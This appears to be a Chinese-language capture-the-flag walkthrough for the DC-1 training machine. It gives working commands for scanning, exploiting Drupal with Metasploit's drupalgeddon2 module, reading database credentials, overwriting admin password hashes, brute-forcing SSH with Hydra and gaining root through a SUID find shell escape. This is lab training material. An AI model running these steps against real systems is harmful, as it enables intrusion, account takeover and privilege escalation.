kali渗透DC-1
一.环境搭建
1.准备工具
kali
DC-1靶机
官网下载DC-1
VMware直接导入镜像即可
设置好相关操作
出现这个界面就表示开启成功了。
然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net。
二.渗透过程
1.信息收集
IP地址收集
探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover等
arp-scan -l
该命令是探测当前网段的所有ip地址
然后查看靶机的mac地址,确定靶机的IP地址
DC-1的IP地址为
192.168.178.89
查看主机kali的IP地址
ifconfig
192.168.178.245
(查看自己电脑上的IP地址,每台电脑给虚拟机分配的IP地址不一样)
再用nmap
nmap -sP 192.168.178.0/24
ip后面改为了0/24, 在这里“192.168.178.0/24”表示的是这个网段的IP地址从从192.168.120.1开始,到192.168.178.254结束(192.168.1780.0和192.168.178.255有特殊含义不能当做ip地址);子网掩码是255.255.255.0
用netdiscover一样扫出IP
netdiscover
IP开放端口收集
用nmap来探测靶机开放端口
nmap -sV -p- 192.168.178.89
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535
20和80端口是我们的突破口,80是http协议,我们用浏览器访问
网页信息收集
使用kali自带的工具whatweb扫描
whatweb -v 192.168.178.89
扫出CMS,然后再用dirsearch工具扫一下目录
dirsearch -u 192.168.178.89
扫描出来了特别多目录,基本上用不上
有用的信息
CMS是Drupal
Apache 2.2.22
PHP 5.4.45
jQuery 1.4.4
2.漏洞利用
知道了cms,我们可以从cms出发寻找漏洞(直接度娘),搜索一下drupal漏洞
查找
用Metasploit ,找一下漏洞,先打开工具
search Drupal
Drupal 框架漏洞还是有很多的,这里我们用漏洞等级高,且时间较新的2018年漏洞渗透
利用
利用漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
然后查看一下这个漏洞模块的参数
show options
Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容
所以我们设置一下RHOSTS的内容(靶机的IP地址)
set RHOSTS 192.168.178.89
然后查看一下是否设置好了模块参数
设置好了参数开始渗透攻击
run
这里也可以用exploit(效果一样)
出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell
3.1获取shell
获取普通shell
shell
这是普通shell,然后执行一下ls
ls
成功
获取交互shell
利用python实现互交shell(这样就好看一点),使用的前提是攻击主机上必须装有python## 3.2数据库渗透
python -c 'import pty; pty.spawn("/bin/bash")'
可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件
每个好的CMS都需要一个配置文件,你也一样
再看看其他的flag,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行
cat `find / -name settings.php`
找到了flag2(好像不重要的样子),还意外收获了一个数据库,给了账号密码,先登一下看看
3.2 数据库渗透
登陆给的账号密码
mysql -udbuser -pR0ck3t
登进去了,这样我们就可以修改数据库了,先看一下有什么
show datebases;
接着使用改数据库,并查看表
use drupaldb;show tables;
注意到users这个表,查看一下
select * from users;
得到两个用户
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin
修改admin的密码
我们得先找到加密文件,Drupal的加密脚本在目录下
/var/www/scripts/password-hash.sh
我们先退出mysql
exit;
打开加密的脚本
cat /var/www/scripts/password-hash.sh
这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456 (可以随便设置)
php /var/www/scripts/password-hash.sh 123456
得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码
mysql -udbuser -pR0ck3t
use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';
密码修改成功
4.用户密码爆破
利用工具Hydra爆破flag4的密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.178.89
爆破出密码orange,然后我们用kali连接
ssh flag4@192.168.178.89
输入orange登入
打开了flag4.txt
5.linux提权
利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
执行root权限的命令找查文件
find / -name index.php -exec "/bin/sh" \;
已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦
cd /root
ls
cat *
拿下!